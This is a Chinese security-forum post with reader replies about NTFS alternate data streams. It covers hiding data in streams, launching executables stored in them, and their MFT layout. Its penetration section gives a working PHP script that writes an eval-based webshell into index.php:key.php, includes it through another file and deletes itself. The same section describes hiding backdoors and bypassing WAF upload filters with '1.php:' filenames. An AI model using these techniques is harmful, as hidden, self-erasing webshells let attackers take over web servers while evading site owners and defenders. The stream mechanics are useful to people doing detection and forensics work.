用户
搜索
  • TA的每日心情
    慵懒
    2017-11-30 14:16
  • 签到天数: 12 天

    连续签到: 1 天

    [LV.3]经常看看I

    版主

    知识面,决定看到的攻击面有多广。知识链,决定发动的杀伤链有多

    Rank: 7Rank: 7Rank: 7

    30

    主题

    280

    帖子

    3111

    魔法币
    收听
    0
    粉丝
    48
    注册时间
    2016-4-17

    秦i春秋签约作者

    jing0102 版主 知识面,决定看到的攻击面 秦 i春秋签约作者 楼主
    发表于 2017-3-31 10:55:24 822318
    本帖最后由 jing0102 于 2017-3-31 04:22 编辑

    咱们今天来研究下NTFS文件流:

    NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。



    NTFS文件流生成步骤:
    1.我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。
    图片1.png


    只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab
    图片2.png

    2.在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)。


    3.包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 给mst.txt建立新的隐藏信息的流文件,使用命令notepad mst.txt:test1.txt 打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响。
    图片3.png

    所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失。




    NTFS特性和原理分析:


    特性1:
    实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z


    工具使用说明:
    create      创建文件流
    enum       列举文件流
    delete      删除文件流
    write       写入内容到文件流
    append     增加文件到文件流
    launch      执行文件流的内容
    dump       读取文件流的内容


    我们让上一步骤归零,重新来看看mst.txt:
    图片4.png


    而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。


    实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:


    FileStreams.exe create mst.txt vkey
    图片5.png


    然后写入内容到文件流vkey:


    FileStreams.exe create mst.txt vkey content
    图片6.png




    再来查看文件流vkey的内容:


    FileStreams.exe dump mst.txt vkey 14


    这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)
    图片7.png




    那么最开始也说了,文件流是可以用来启动程序的,我们来试试:


    1.加入文件到文件流vkey:


    FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe
    图片8.png




    2.查看文件流vkey的内容,这里就看前100个字节的内容:


    FileStreams.exe dump mst.txt vkey 100
    图片9.png




    3.执行文件流vkey:
    图片10.png




    顺利的执行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 这个文件。


    特性2

    自动创建空文件:

    图片11.png

    自动创建宿主,然后寄生。


    在没有原文件的情况下创建文件流,会自动创建一个空文件。


    原理分析:
    好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:


    如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:
    图片12.png



    详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master File Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:
    图片13.png


    可以看到文件流test2的数据是直接存放在MFT上,因为test2的数据小,而testExe的数据则没有明显看出来,因为testExe数据比较大,MFT里面存放的是簇信息。


    渗透中的利用:

    Webshell后门隐藏:


    [PHP] 纯文本查看 复制代码
    <?php
    exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
    $key = <<<key
    echo "<?php include 'index.php:key.php';?>">>a.php
    key;
    exec($key);
    $url = $_SERVER['PHP_SELF'];
    $filename= substr($url,strrpos($url,'/')+1);
    @unlink($filename);
    ?>

    图片14.png

    为什么这样写?首先我们知道网站的默认首页是index.php,所以我们使用了第一段代码:


    [PHP] 纯文本查看 复制代码
    exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');



    直接写一个一句话内容到key.php这个文件流中。


    其次,文件流是不可能直接执行的,但是PHP可以使用包含函数,所以就产生了第二段代码:


    [Perl] 纯文本查看 复制代码
    $key = <<<key
    echo "<?php include 'index.php:key.php';?>">>a.php
    key;
    exec($key);



    最后,为了不被发现要删除本身文件,就出来了代码:


    $url = $_SERVER['PHP_SELF'];
    $filename= substr($url,strrpos($url,'/')+1);
    @unlink($filename);


    软件后门隐藏:
    使用特性1写一段代码后台自动运行这个文件流即可。

    ByPass WAF:
    测试了下一些WAF还是可以绕过的。
    较为鸡肋:
    图片15.png
    需要有一个文件包含才行。

    当然一些局限性的限制寄生虫可以拿到主权:
    利用下面的默认流替换特性上传文件名为1.php:的文件,绕过后缀名限制即可。

    当然你也可以做一个持续性webshell后门,然后使用include包含起来即可利用:
    图片0.png

    默认流替换:

    默认流也就是宿主自身的,这里完全可以吞噬宿主,成为宿主。

    这个方法算是打破常规的认识了,很有意思。

    图片16.png


    如上图,我们直接执行echo xxxx>>1.txt:
    即可替换默认流:
    图片17.png

    当然如果宿主不存在,将会创建宿主并且吞噬宿主,从而成为宿主。

    此方法笔者在一次局限性的命令执行中完美运用上了。

    总结:
    原文件=宿主,文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究,把文件流应用于各种操作之中,造出"猥琐"流。

    研究来自:米斯特安全攻防实验室 Www.Hi-OurLife.Com @ gh0stkey

    logo.jpg

    本帖被以下淘专辑推荐:

    gh0stkey,米斯特安全团队核心。
    i春秋社区核心成员之一。
    关注米斯特安全团队(MstLab):www.hi-ourlife.com
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 9#
    发表于 2017-4-18 16:21:44
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    100
    这块国内不多,思路不错,下次加油

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋-楚:533191896
    i春秋-燕:129821314
    i春秋-齐:417360103
    i春秋-秦:262108018
    使用道具 举报 回复
    发表于 2017-3-31 14:31:25
    1st                  
    使用道具 举报 回复
    我记得iis 上传带 : (冒号)的 上传成功都是空白文件
    使用道具 举报 回复
    get,感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2017-4-4 15:35:34
    涨姿势
    使用道具 举报 回复
    楼主貌似没有考虑到文件的写权限呢,,如果没有写权限那是在白费力气呢
    使用道具 举报 回复
    jing0102 版主 知识面,决定看到的攻击面 秦 i春秋签约作者
    7#
    发表于 2017-4-5 13:52:43
    theundertaker 发表于 2017-4-5 05:48
    楼主貌似没有考虑到文件的写权限呢,,如果没有写权限那是在白费力气呢 ...

    研究的是NTFS,研究的不是权限问题,不过你也提醒了我,完全可以按照这个方向来更加深入的研究。
    gh0stkey,米斯特安全团队核心。
    i春秋社区核心成员之一。
    关注米斯特安全团队(MstLab):www.hi-ourlife.com
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册